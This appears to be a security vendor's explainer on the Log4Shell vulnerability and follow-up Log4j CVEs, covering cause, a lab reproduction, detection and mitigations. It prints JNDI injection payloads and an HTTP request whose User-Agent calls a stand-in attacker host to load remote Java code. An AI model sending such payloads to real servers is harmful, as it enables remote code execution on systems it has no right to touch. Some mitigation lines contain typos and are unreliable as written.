In this article

Log4Shell Explained


December 12, 2021
Last Updated: January 15, 2024
Share on:

Log4j is an open-source logging framework distributed by Apache group that is widely used by well-known public services and roughly one third of the world’s webservers.

On December 9, 2021, an RCE (Remote Code Execution) vulnerability was disclosed within the log4j package (CVE- 2021-44228) which allows an attacker to execute arbitrary code on machines which utilize the logging functionality of log4j package which give the vulnerability its common name: Log4Shell.

As Cynet is aware of emerging threats and vulnerabilities, we’ve confirmed that the Cynet360 platform is not affected by the Log4Shell vulnerability or any of its components.

This is part of an extensive series of guides about Network Attacks

Get our Complete Guide

How to Build a Security Framework

  • Key frameworks for IT security programs
  • Managing risk associated with security controls
  • Addressing cyber insurance, cloud security, zero trust

How did everything begin?

The root cause of this vulnerability is the way log4j processes log messages.

Generally, software developers use a log mechanism to report on different flows within the software. During this process, a log message is passed as a string to be recorded in a log file. The Log4j library has an additional feature that allows log messages to contain variables which are translated on the fly prior to being written to a log file. In the case of CVE-2021-44228, log4j translates a specific argument received as a formatted string and forces it to load a Java code from another Java class stored on the server or from a remote server.
In a scenario where the logging message is controlled by the user, an attacker may use the feature to translate parameters into Javascript objects to execute a malicious payload from an attacker-controlled remote server.

When the string within the logging message is formatted with “${some Java class name}”, Java will handle it as information that should be translated into another string by executing the Java-class specified between the “${}” and replace the “${…}” with the evaluation result. The method of searching for the correct Java class by its name is called lookup.
In the following example we asked Java to retrieve the hostname of the server as part of our logging:

First, the hostname will be evaluated by executing a Java class, and only then is the data written to the log file. The result to be recorded into the log file is:

In short, the code within the Java class is executed, and only then is the data written.

To understand the vulnerability, we need to understand a feature used by the logging system called JNDI and how it is used by log4j.

JNDI is a directory and naming service that provides the ability to look up and access Java classes by using a variety of naming and directory services SPI’s.

Some of the SPI’s JNDI uses include LDAP, DNS, RMI, COBRA and more.

When using the feature in our logging procedure, we can retrieve Java classes from remote LDAP server. For example:

There are cases where part of the information logged by our program is using user-controlled data, and with complete trust in that input the user is able to manipulate it, make our server connect to an any LDAP server on the Internet and retrieve a malicious Java class that will be executed.

With that in mind, let’s have a look at the following vulnerable code:

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
Logger logger = LogManager.getLogger();
logger.error("Logging Error - {}!", userInput);

For the case above, userInput = “${jndi:ldap://attacker-server.com/path/to/malicious/java/class}”.

Be careful what you Log4

In a similar way to the example above we have deployed a vulnerable server in our lab which logging data using log4j package.

For that purpose, we deployed a vulnerable app that can be found on GitHub for a PoC:

The vulnerable app logs the value of the HTTP header “X-Api-Version” from a request.

In addition, we set up an LDAP and HTTP servers that will be used as attacker-controlled servers.
Deploying HTTP server – this server will hold the malicious Java class that will be executed on the victim server:

Deploying LDAP server:

Then we make a request to the vulnerable server with a poisoned header:

Since the string contains a remote path to the required Java class, the vulnerable server will connect to the LDAP server, which redirects the request to our malicious HTTP server, and on the LDAP server we can see that a request was received and redirected:

On the malicious HTTP server we can notice that a GET request was received to the malicious Java class’s file:

The malicious Java class is used to create a file on the vulnerable server, remember that when the logging app does not get a string in return to the execution of the remote class, an exception will be raised by the application.
The malicious class will print out to the screen except for just creating a file, and when we got back to the vulnerable app we noticed that it has executed our malicious Java class:

Searching for the created file within the machine:

Text Description automatically generated

The vulnerable server will evaluate the supplied data (perform the lookup and execute the class) before it gets logged.
Once the class got executed, a file was created and information was printed out to the screen, achieving CVE-2021-44228 Remote code execution.

The issue here is not the JNDI lookups but improper validation of data controlled by the user, which may include formatted strings that perform JNDI lookups.

Ongoing attacks in the wild

We’ve observed several techniques used to exploit the vulnerability, all of them allowing malicious threat actors to execute remote code on a vulnerable server.

An example of additional user-controlled data which is commonly logged is the User-Agent field within HTTP requests.
Consider that the following line of code is being used to perform the logging:

Log.info(“Request User-Agent: {}”, userAgent);

An attacker can craft the following http header and send it to the target application:

GET / HTTP/1.1

Host: vulnerable.com

User-Agent: ${jndi:ldap://attacker.com/path/to/malicious/Java_class}

By using the technique above to exploit the vulnerability, a simple python script can be used to trigger RCE on a vulnerable server:

Text Description automatically generated

Please note that since log4shell is a vulnerability in a third-party software, attackers will first need to understand how it is being implemented and used in specific environment and only then locate and control the data logged with log4j functionality, so the range of methods to exploit the vulnerability is wide and has dependency on the specific use of the functionality.

How to detect whether have I been compromised by CVE-2021-44228?

There are a few ways which can help in the process of assessing whether you have been or are currently being affected by this exploit.

Florian Roth (@cyb3rops), a well-known contributor in the security community, published a few detection tools that can be used to detect whether your system was compromised by the exploit.
Considering all the available options, our recommendation is to use log4shell-detector, which scans the log files in a generic manner. That way, it manages to detect the exploit even if it was obfuscated in some way.

Additionally, you can detect exploitation attempts in real-time by integrating detection rules which are tagged with “CVE_2021_44228” into your IDS.

How to defend against CVE-2021-44228?

The best way to defend against exploitation of this vulnerability would be to update Log4j to its latest version.

If not possible, there are other ways to protect yourself –

Disabling lookups using by setting the parameter “formatMsgNoLookups” to “True” value: Log4j2.formatMsgNoLookups=true

Setting an environment variable for disabling lookups:

LOG4J_FORMt_msg_no_lookups=true

Another option would be to remove Jndilookup class from the classpath.

This can be done by the following command –

Zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Get our Complete Guide

How to Build a Security Framework

  • Key frameworks for IT security programs
  • Managing risk associated with security controls
  • Addressing cyber insurance, cloud security, zero trust

Known Vulnerable Technologies and Projects

Elasticsearch Solr Ghidra Elastic Kibana
Grails Spark Minecraft Hibernate
Apache Flume Apache Tomcat Dropwizard JavaServer Faces
Hadoop Struts Apache Druid Oracle ATG Web Commerce
Kafka Tapestry Apache Dubbo Spring Framework
Kibana Wicket Apache Flink VMware Horizon
VMware HCX Cloud Manager VMware NSX-T Datacenter VMware vRealize Operations VMware vRealize Operations Cloud Proxy
VMware Tanzu Greenplum VMware Tanzu GemFire

Cynet Customers that are utilizing the “Advanced Forensics Capabilities” for Linux systems are protected by Cynet360 from any payload originated by Log4Shell vulnerability.

New CVEs in Log4J 2.16 following bypass of original fix

Even after the Log4Shell (CVE-2021-44228) vulnerability was discovered and patched, a new bypass has been discovered. The new bypass affected previous versions of the package up until 2.17.

The bypass is relevant when an attack (user controlled) input can be introduced to non-message parts of the log line pattern layout. Most commonly input is added to the Thread Context Map (MDC) and later reused in a log line. Other options include MapMessage, StructuredMessage or any other lookup that the pattern performs that would result in user input.

The new CVEs are tracked as CVE-2021-45105 (Denial of Service) and CVE-2021-45046 (Remote Code Execution).

CVE-2021-45105: DoS vulnerability in Log4J 2.16

An attacker can craft and pass a malicious lookup command (through the ThreadContext bypass) which will initiate a recursive function. Since this recursion is not protected from self-referencing (evaluating the same expression), the crafted lookup command will cause a DoS attack.

The crafted lookup command is composed from a nested variable which is supposed to be resolved into a string by the vulnerable recursive function. In every loop of the function the variable should be substituted, passing to the next recursive loop a substituted version of the variable.

The exploit occurs when a nested variable is passed to the recursive function through the crafted lookup command. Since the recursive function is not protected from self-referencing, the nested variable will not be substituted and cause to the recursive function to run infinity amount of time.

CVE-2021-45046: RCE vulnerability in Log4J 2.16

If an attacker can add controlled input to the Thread Context Map (MDC) it is possible to craft a malicious input that will result in a remote code execution using JNDI lookup patterns.

In the beginning the CVS score for this vulnerability was 3.7 for a limited DOS. However, it was discovered that it is possible to get an RCE from this vulnerability thus incrementing the CVS score to 9.0

Note that the exploitation of CVE-2021-45046 is only possible under certain non-default configurations.

In version 2.15, FormatMsgNoLookups property is by default set to True. To be vulnerable to this CVE, message text lookups need to be enabled using %m{lookups}. Other than that, version 2.15 prevents CVE-2021-44228 RCE by allowing LDAP connections only to the local host.

CVE-2021-44832: RCE when attacker controls configuration

Latest disclosed vulnerability, patched in 2.17.1, allows an attacker which has control over the configuration to execute arbitrary code. While at first sight it might appear that this vulnerability is exploitable only when the attacker already has access to the vulnerable server, other scenario exists.

Application can opt to load configuration to Log4j2 over the network like so:

“ codebox

System.setProperty(“log4j2.configurationFile”,”http://10.0.0.15:8080/log4j2.xml”);

In this scenario, an attacker which is able to MITM (Man-in-the-Middle) the network connection between the vulnerable server and the server hosting the configuration (either directly, or though DNS poisoning), may respond with malicious configuration.

A malicious configuration may instruct to use JDBC (Log) Appender, which specifies `jndiName` from an LDAP source. This in turn will lead to the same exploits seen before for previous “JNDI-LDAP” vulnerabilities.

Updated mitigations

  • Java 8 (or later) users should upgrade to release 2.17.1
  • Java 7 users should upgrade to release 2.12.4
  • Java 6 users should upgrade to release 2.3.2
  • Disable formatMsgNoLookups flag.
  • Otherwise, in the configuration, remove references to Context Lookups like `${ctx:loginId}` or `$${ctx:loginId}` where they originate.
  • In PatternLayout in the logging configuration, replace Context Lookups like `${ctx:loginId}` or `$${ctx:loginId}` with Thread Context Map patterns (%X, %mdc, or %MDC).
  • If not possible to upgrade, remove JndiLookup and JMSAppender class files

Cynet to the rescue

To make sure you are fully protected by Cynet360, please enable the following detections:

  • Windows requirements: Memory Patterns, Memory Protection Mode (Kernel capabilities), Memory Injection Prevention, Antivirus (recommended for post exploitation)
  • Linux requirements: Advanced Forensic Capabilities enabled, Antivirus (recommended for post-exploitation)

Cynet continues to monitor this vulnerability and will update on any developments, dependencies, and measures to be taken to mitigate the threat caused by it.
In addition, our research group is working around the clock to add detection logic and capabilities against this vulnerability.

CyOps team is available 24/7 for any question or concern and will gladly assist with timely resolution to any issue.

How would you rate this article?

In this article

Let’s get started!

Ready to extend visibility, threat detection and response?

Get a Demo

Search results for: